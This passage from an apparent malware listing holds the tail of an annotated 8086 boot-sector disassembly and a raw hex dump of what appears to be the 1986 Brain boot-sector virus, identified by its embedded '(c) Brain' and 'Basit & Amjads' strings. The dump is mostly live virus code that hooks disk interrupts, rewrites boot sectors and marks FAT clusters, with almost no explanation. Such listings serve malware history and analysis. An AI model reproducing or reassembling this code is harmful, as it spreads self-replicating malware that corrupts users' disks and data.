ADD AX,[SI+03] ;0939 034403
ADD AX,[SI+11] ;093C 034411
MOV [0024],AX ;093F A32400
MOV BX,7E00 ;0942 BB007E
CALL 0A24 ;0945 E8DC00
MOV BX,ES ;0948 8CC3
MOV AX,0070 ;094A B87000
MOV ES,AX ;094D 8EC0
MOV AX,0020 ;094F B82000
MUL Word Ptr [SI+06] ;0952 F76406
MOV CX,[SI] ;0955 8B0C
ADD AX,CX ;0957 03C1
DEC AX ;0959 48
DIV CX ;095A F7F1
ADD [0024],AX ;095C 01062400
MOV CL,[002A] ;0960 8A0E2A00
MOV AX,[0024] ;0964 A12400
CALL ;0971 ;0967 E80700
PUSH ES ;096A 06
POP DS ;096B 1F
JMP 0070:0000 ;096C EA00007000
;
;HEAVY NUMBER CRUNCHING HERE ;
PUSH BX ;0971 53
PUSH AX ;0972 50
MOV AL,CL ;0973 8AC1
MUL Byte Ptr [002B] ;0975 F6262B00
MOV [0029],AL ;0979 A22900
POP AX ;097C 58
MUL Word Ptr [002B] ;097D F7262B00
DIV Word Ptr [SI+0D] ;0981 F7740D
INC DL ;0984 FEC2
MOV [0028],DL ;0986 88162800
PUSH DX ;098A 52
XOR DX,DX ;098B 33D2
DIV Word Ptr [SI+0F] ;098D F7740F
MOV [0021],DL ;0990 88162100
MOV [0026],AX ;0994 A32600
POP DX ;0997 5A
MOV CL,[0029] ;0998 8A0E2900
ADD DL,CL ;099C 02D1
MOV AX,[SI+0D] ;099E 8B440D
INC AX ;09A1 40
CMP DL,AL ;09A2 3AD0
JBE ;09AC ;09A4 7606
SUB AL,[0028] ;09A6 2A062800
MOV CL,AL ;09AA 8AC8
MOV AL,CL ;09AC 8AC1
MOV DX,[0026] ;09AE 8B162600
MOV CL,06 ;09B2 B106
SHL DH,CL ;09B4 D2E6
OR DH,[0028] ;09B6 0A362800
MOV CX,DX ;09BA 8BCA
XCHG CH,CL ;09BC 86E9
MOV DX,[0020] ;09BE 8B162000
MOV AH,02 ;READ SECTOR
PUSH AX ;
INT 13 ;
POP AX ;09C7 58
JB ;09FC ;09C8 7232
SUB [0029],AL ;09CA 28062900
JBE ;09F5 ;09CE 7625
CBW ;09D0 98
MUL Word Ptr [002D] ;09D1 F7262D00
ADD BX,AX ;09D5 03D8
INC Byte Ptr [0021] ;09D7 FE062100
MOV DL,[0021] ;09DB 8A162100
CMP DL,[SI+0F] ;09DF 3A540F
MOV DL,01 ;09E2 B201
MOV [0028],DL ;09E4 88162800
JB ;0998 ;09E8 72AE
MOV Byte Ptr [0021],00 ;09EA C606210000
INC Word Ptr [0026] ;09EF FF062600
JMP ;0998 ;09F3 EBA3
POP BX ;09F5 5B
RET ;09F6 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV SI,01B3 ;09F7 BEB301
JMP ;09FF ;09FA EB03
MOV SI,01C5 ;09FC BEC501
CALL L0A15 ;09FF E81300
MOV SI,01D4 ;0A02 BED401
CALL L0A15 ;0A05 E80D00
MOV AH,00 ;0A08 B400
INT 16 ;0A0A CD16
MOV AH,01 ;0A0C B401
INT 16 ;0A0E CD16
JNZ 0A0C ;0A10 75FA
JMP ;08F8 ;0A12 E9E3FE
;
L0A15: LODSB ;L0A15
OR AL,AL ;0A16 0AC0
JZ 0A23 ;0A18 7409
MOV AH,0E ;0A1A B40E
MOV BX,0007 ;0A1C BB0700
INT 10 ;0A1F CD10
JMP L0A15 ;0A21 EBF2
RET ;0A23 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV CL,01 ;0A24 B101
CALL ;0971 ;0A26 E848FF
PUSH SI ;0A29 56
MOV DI,BX ;0A2A 8BFB
MOV AX,ES:[BX+1C] ;0A2C 268B471C
XOR DX,DX ;0A30 33D2
DIV Word Ptr [SI] ;0A32 F734
INC AL ;0A34 FEC0
MOV [002A],AL ;0A36 A22A00
MOV SI,019D ;0A39 BE9D01
MOV CX,000B ;0A3C B90B00
REPZ ;0A3F F3
CMPSB ;0A40 A6
JNZ ;09F7 ;0A41 75B4
MOV AX,ES:[BX+3A] ;0A43 268B473A
MOV [0022],AX ;0A47 A32200
MOV DI,BX ;0A4A 8BFB
ADD DI,+20 ;0A4C 83C720
MOV SI,01A8 ;0A4F BEA801
MOV CX,000B ;0A52 B90B00
REPZ ;0A55 F3
CMPSB ;0A56 A6
JNZ ;09F7 ;0A57 759E
POP SI ;0A59 5E
RET ;0A5A C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CODE ENDS ;
END ;
0390 49 42 4D IBM
03A0 42 49 4F 20 20 43 4F 4D-49 42 4D 44 4F 53 20 20 BIO COMIBMDOS
03B0 43 4F 4D 0D 0A 4E 6F 6E-2D 53 79 73 74 65 6D 20 COM..Non-System
03C0 64 69 73 6B 00 0D 0A 42-4F 4F 54 20 66 61 69 6C disk...BOOT fail
03D0 75 72 65 00 0D 0A 52 65-70 6C 61 63 65 20 61 6E ure...Replace an
03E0 64 20 70 72 65 73 73 20-61 6E 79 20 6B 65 79 20 d press any key
03F0 77 68 65 6E 20 72 65 61-64 79 00 90 90 90 55 AA when ready....U*
0400 EB 26 28 63 29 20 31 39-38 36 20 42 61 73 69 74 k&(c) 1986 Basit
0410 20 26 20 41 6D 6A 61 64-73 20 28 70 76 74 29 20 & Amjads (pvt)
0420 4C 74 64 20 00 04 00 00-2E C6 06 25 02 1F 33 C0 Ltd .....F.%..3@
0430 8E D8 A1 4C 00 A3 B4 01-A1 4E 00 A3 B6 01 B8 76 .X!L.#4.!N.#6.8v
0440 02 A3 4C 00 8C C8 A3 4E-00 B9 04 00 33 C0 8E C0 .#L..H#N.9..3@.@
0450 51 2E 8A 36 06 00 B2 00-2E 8B 0E 07 00 B8 01 02 Q..6..2......8..
0460 BB 00 7C CD 6D 73 09 B4-00 CD 6D 59 E2 E2 CD 18 ;.|Mms.4.MmYbbM.
0470 EA 00 7C 00 00 90 FB 80-FC 02 75 18 80 FA 02 77 j.|...{.|.u..z.w
0480 13 80 FD 00 75 05 80 FE-00 74 0C 2E FE 0E 25 02 ..}.u..~.t..~.%.
0490 75 02 EB 03 E9 A5 00 2E-C6 06 27 02 00 2E C6 06 u.k.i%..F.'...F.
04A0 25 02 04 50 53 51 52 2E-88 16 26 02 B9 04 00 51 %..PSQR...&.9..Q
04B0 B4 00 CD 6D 72 15 B6 00-B9 01 00 BB BE 06 06 8C 4.Mmr.6.9..;>...
04C0 C8 8E C0 B8 01 02 CD 6D-07 73 06 59 E2 E1 EB 2F H.@8..Mm.s.Ybak/
04D0 90 59 2E A1 C2 06 3D 34-12 75 08 2E C6 06 27 02 .Y.!B.=4.u..F.'.
04E0 01 EB 20 1E 06 8C C8 8E-D8 8E C0 56 E8 15 03 72 .k ...H.X.@Vh..r
04F0 09 2E C6 06 27 02 02 E8-B8 01 5E 07 1F 73 04 B4 ..F.'..h8.^..s.4
0500 00 CD 6D 5A 59 5B 58 83-F9 01 75 30 80 FE 00 75 .MmZY[X.y.u0.~.u
0510 2B 2E 80 3E 27 02 01 75-11 2E 8B 0E C5 06 2E 8B +..>'..u....E...
0520 16 C3 06 2E 8A 16 26 02-EB 12 2E 80 3E 27 02 02 .C....&.k...>'..
0530 75 0A 2E 8B 0E 07 00 2E-8A 36 06 00 CD 6D CA 02 u........6..MmJ.
0540 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0550 EB 25 90 03 00 20 28 63-29 20 31 39 38 36 20 42 k%... (c) 1986 Basit & Amjads (pvt) Ltd
0560 61 73 69 74 20 26 20 41-6D 6A 61 64 73 20 28 70
0570 76 74 29 20 4C 74 64 E8-AD 00 A1 BE 06 3D FD FF h-.!>.=}.
0580 74 04 B0 03 F9 C3 B9 37-00 C7 06 53 03 00 00 E8 t.0.yC97.G.S...h
0590 66 00 3D 00 00 75 0E FF-06 53 03 83 3E 53 03 03 f.=..u...S..>S..
05A0 75 09 EB 12 90 C7 06 53-03 00 00 41 81 F9 63 01 u.k..G.S...A.yc.
05B0 75 DD B0 01 F9 C3 B2 03-E8 10 00 49 FE CA 75 F8 u]0.yC2.h..I~Jux
05C0 41 E8 9A 00 E8 66 00 B0-00 F8 C3 51 52 BE BE 06 Ah..hf.0.xCQR>>.
05D0 8A C1 D0 E8 72 0E E8 42-00 8B 00 25 00 F0 0D F7 .APhr.hB...%.p.w
05E0 0F EB 0C 90 E8 34 00 8B-00 25 0F 00 0D 70 FF 89 .k..h4...%...p..
05F0 00 89 80 00 04 5A 59 C3-51 BE BE 06 8A C1 D0 E8 .....ZYCQ>>..APh
0600 72 0B E8 16 00 8B 00 25-FF 0F EB 0D 90 E8 0B 00 r.h....%..k..h..
0610 8B 00 25 F0 FF B1 04 D3-E8 59 C3 52 B8 03 00 F7 ..%p.1.ShYCR8..w
0620 E1 D1 E8 8B D8 5A C3 B4-02 E8 07 00 C3 B4 03 E8 aQh.XZC4.h..C4.h
0630 01 00 C3 B9 04 00 51 50-B4 00 CD 6D 58 72 14 BB ..C9..QP4.MmXr.;
0640 BE 06 B0 04 B6 00 8A 16-26 02 B9 02 00 50 CD 6D >.0.6...&.9..PMm
0650 58 73 09 59 E2 E0 58 58-B0 02 F9 C3 59 C3 51 83 Xs.Yb`XX0.yCYCQ.
0660 E9 02 D1 E1 83 C1 0C 8B-C1 B1 12 F6 F1 A2 08 00 i.Qa.A..A1.vq"..
0670 C6 06 06 00 00 FE C4 80-FC 09 76 08 80 EC 09 C6 F....~D.|.v..l.F
0680 06 06 00 01 88 26 07 00-59 C3 00 00 00 00 00 00 .....&..YC......
0690 03 6C 00 03 03 BE 0E 01-00 00 01 E0 D8 9D D7 E0 .l...>.....`X.W`
06A0 9F 8D 98 9F 8E E0 20 28-63 29 20 42 72 61 69 6E .....` (c) Brain
06B0 20 24 E8 DB 00 72 0A 57-E8 1F 00 5F 72 03 E8 D7 $h[.r.Wh.._r.hW
06C0 00 C3 BB 9B 04 B9 0B 00-8A 07 F6 D8 88 04 46 43 .C;..9....vX..FC
06D0 E2 F6 B0 08 88 04 F8 C3-C6 06 C7 06 91 04 6C 00 bv0...xCF.G...l.
06E0 BE FE 06 89 16 93 04 A1-91 04 D1 E8 A3 97 04 D1 >~.....!..Qh#..Q
06F0 E8 A3 95 04 91 80 E1 43-8B 3E 95 04 81 C7 E3 01 h#....aC.>...Gc.
0700 8A 04 3C 00 74 15 8A 44-0B 24 08 3C 08 74 0C 83 ..<.t..D.$.<.t..
0710 C6 20 FF 0E 91 04 75 E8-F9 C3 8B 8B 1D 33 1E 97 F ....uhyC...3..
0720 04 89 36 97 04 FA 8C D0-A3 93 04 89 26 95 04 8C ..6..z.P#...&...
0730 C8 8E D0 8B 26 97 04 83-C4 0C B1 51 81 C2 4C 44 H.P.&...D.1Q.BLD
0740 BF 55 25 B9 03 0C F3 A7-B8 46 0B B9 03 00 D3 C0 ?U%9..s'8F.9..S@
0750 A3 97 04 B9 05 00 BA 08-00 81 2E 97 04 10 52 FF #..9..:.......R.
0760 36 97 04 8A 27 43 8A D4-D0 E2 72 F7 8A 17 43 8A 6...'C.TPbrw..C.
0770 C2 D0 E2 72 F7 05 1D 1D-50 FF 06 97 04 73 01 EA BPbrw...P....s.j
0780 E2 E1 8B 26 95 04 A1 93-04 8E D0 FB 02 32 F8 C3 ba.&..!...P{.2xC
0790 C6 06 90 04 02 EB 09 90-C6 06 90 04 03 EB 01 90 F....k..F....k..
07A0 B6 00 8A 16 26 02 B9 06-00 8A 26 90 04 B0 04 BB 6...&.9...&..0.;
07B0 BE 06 E8 15 00 72 12 B9-01 00 B6 01 8A 26 90 04 >.h..r.9..6..&..
07C0 B0 03 81 C3 00 08 E8 01-00 C3 A3 93 04 89 1E 95 0..C..h..C#.....
07D0 04 89 0E 97 04 89 16 99-04 B9 04 00 51 B4 00 CD .........9..Q4.M
07E0 6D 72 13 A1 93 04 8B 1E-95 04 8B 0E 97 04 8B 16 mr.!............
07F0 99 04 CD 6D 73 05 59 E2-E3 F9 C3 59 C3 00 00 00 ..Mms.YbcyCYC...
0800 03 00 01 03 E8 49 FD 72-54 C7 06 0A 00 01 00 C6 ....hI}rTG.....F
0810 06 09 00 00 BB BE 06 E8-44 00 BB BE 06 A1 07 00 ....;>.hD.;>.!..
0820 A3 0A 00 8A 26 06 00 88-26 09 00 E8 39 00 E8 65 #...&...&..h9.he
0830 00 B9 05 00 BB 00 02 89-0E 00 06 E8 29 00 E8 55 .9..;......h).hU
0840 00 81 C3 00 02 8B 0E 00-06 E2 EC C6 06 09 00 00 ..C......blF....
0850 C7 06 0A 00 01 00 BB 00-00 E8 0B 00 F8 C3 C7 06 G.....;..h..xCG.
0860 02 06 01 02 EB 0A 90 C7-06 02 06 01 03 EB 01 90 ....k..G.....k..
0870 53 B9 04 00 51 8A 36 09-00 8A 16 26 02 8B 0E 0A S9..Q.6....&....
0880 00 A1 02 06 CD 6D 73 0B-B4 00 CD 6D 59 E2 E5 5B .!..Mms.4.MmYbe[
0890 5B F9 C3 59 5B C3 FE 06-0A 00 80 3E 0A 00 0A 75 [yCY[C~....>...u
08A0 19 C6 06 0A 00 01 FE 06-09 00 80 3E 09 00 02 75 .F....~....>...u
08B0 09 C6 06 09 00 00 FE 06-0B 00 C3 64 74 61 EB 3A .F....~...Cdtak:
08C0 90 49 42 4D 20 58 33 2E-32 00 02 02 01 00 02 70 .IBM X3.2......p
08D0 00 D0 02 FD 02 00 09 00-02 00 00 00 00 00 00 00 .P.}............
08E0 00 00 00 00 00 00 00 00-00 00 00 00 02 DF 02 25 ............._.%
08F0 02 12 2A FF 50 F6 00 02-CD 19 FA 33 C0 8E C0 8E ..*.Pv..M.z3@.@.
0900 D0 BC 00 7C 8E D8 BB C0-07 C7 06 78 00 2F 00 89 P<.|.X;@.G.x./..
0910 1E 7A 00 8E DB 8B 16 1E-00 88 16 20 00 CD 13 73 .z..[...... .M.s
0920 03 E9 D8 00 BE 0B 00 8B-0C D0 ED 86 E9 89 0E 2B .iX.>....Pm.i..+
0930 00 8A 44 05 32 E4 F7 64-0B 03 44 03 03 44 11 A3 ..D.2dwd..D..D.#
0940 24 00 BB 00 7E E8 DC 00-8C C3 B8 70 00 8E C0 B8 $.;.~h\..C8p..@8
0950 20 00 F7 64 06 8B 0C 03-C1 48 F7 F1 01 06 24 00 .wd....AHwq..$.
0960 8A 0E 2A 00 A1 24 00 E8-07 00 06 1F EA 00 00 70 ..*.!$.h....j..p
0970 00 53 50 8A C1 F6 26 2B-00 A2 29 00 58 F7 26 2B .SP.Av&+.").Xw&+
0980 00 F7 74 0D FE C2 88 16-28 00 52 33 D2 F7 74 0F .wt.~B..(.R3Rwt.
0990 88 16 21 00 A3 26 00 5A-8A 0E 29 00 02 D1 8B 44 ..!.#&.Z..)..Q.D
09A0 0D 40 3A D0 76 06 2A 06-28 00 8A C8 8A C1 8B 16 .@:Pv.*.(..H.A..
09B0 26 00 B1 06 D2 E6 0A 36-28 00 8B CA 86 E9 8B 16 &.1.Rf.6(..J.i..
09C0 20 00 B4 02 50 CD 13 58-72 32 28 06 29 00 76 25 .4.PM.Xr2(.).v%
09D0 98 F7 26 2D 00 03 D8 FE-06 21 00 8A 16 21 00 3A .w&-..X~.!...!.:
09E0 54 0F B2 01 88 16 28 00-72 AE C6 06 21 00 00 FF T.2...(.r.F.!...
09F0 06 26 00 EB A3 5B C3 BE-B3 01 EB 03 BE C5 01 E8 .&.k#[C>3.k.>E.h
0A00 13 00 BE D4 01 E8 0D 00-B4 00 CD 16 B4 01 CD 16 ..>T.h..4.M.4.M.
0A10 75 FA E9 E3 FE AC 0A C0-74 09 B4 0E BB 07 00 CD uzic~,.@t.4.;..M
0A20 10 EB F2 C3 B1 01 E8 48-FF 56 8B FB 26 8B 47 1C .krC1.hH.V.{&.G.
0A30 33 D2 F7 34 FE C0 A2 2A-00 BE 9D 01 B9 0B 00 F3 3Rw4~@"*.>..9..s
0A40 A6 75 B4 26 8B 47 3A A3-22 00 8B FB 83 C7 20 BE &u4&.G:#"..{.G >
0A50 A8 01 B9 0B 00 F3 A6 75-9E 5E C3 49 42 4D 42 49 (.9..s&u.^CIBMBI
0A60 4F 20 20 43 4F 4D 49 42-4D 44 4F 53 20 20 43 4F O COMIBMDOS CO
0A70 4D 0D 0A 4E 6F 6E 2D 53-79 73 74 65 6D 20 64 69 M..Non-System di
0A80 73 6B 00 0D 0A 42 4F 4F-54 20 66 61 69 6C 75 72 sk...BOOT failur
0A90 65 00 0D 0A 52 65 70 6C-61 63 65 20 61 6E 64 20 e...Replace and
0AA0 70 72 65 73 73 20 61 6E-79 20 6B 65 79 20 77 68 press any key wh
0AB0 65 6E 20 72 65 61 64 79-00 90 90 90 55 AA 00 00 en ready....U*..
0AC0 00 00 00 00 00 00 00 00-00 00 00 00 70 FF F7 7F ............p.w.
0AD0 FF F7 7F FF 00 00 00 00-00 00 00 00 00 00 00 00 .w..............
0AE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0AF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0B00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0B10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0B20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0B30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0B40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0B50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0B60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0B70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0B80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0B90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0BA0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0BB0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0BC0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0BD0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0BE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0BF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0C00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0C10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0C20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0C30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0C40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0C50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0C60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0C70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0C80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0C90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0CA0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0CB0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 FD FF ..............}.
0CC0 FF 03 40 00 05 60 00 07-80 00 09 A0 00 0B C0 00 ..@..`..... ..@.
0CD0 0D E0 00 0F 00 01 11 20-01 13 F0 FF 15 60 01 17 .`..... ..p..`..
0CE0 80 01 19 A0 01 1B C0 01-1D E0 01 1F 00 02 21 20 ... ..@..`....!
0CF0 02 23 40 02 25 60 02 27-80 02 29 A0 02 2B C0 02 .#@.%`.'..) .+@.
0D00 2D E0 02 2F F0 FF 31 20-03 33 40 03 35 60 03 37 -`./p.1 .3@.5`.7
0D10 80 03 39 A0 03 3B C0 03-3D E0 03 3F 00 04 41 20 ..9 .;@.=`.?..A
0D20 04 43 40 04 45 60 04 47-F0 FF F7 7F FF F7 0F 00 .C@.E`.Gp.w..w..
0D30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0D40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0D50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0D60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0D70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0D80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0D90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0DA0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0DB0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0DC0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0DD0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0DE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0DF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................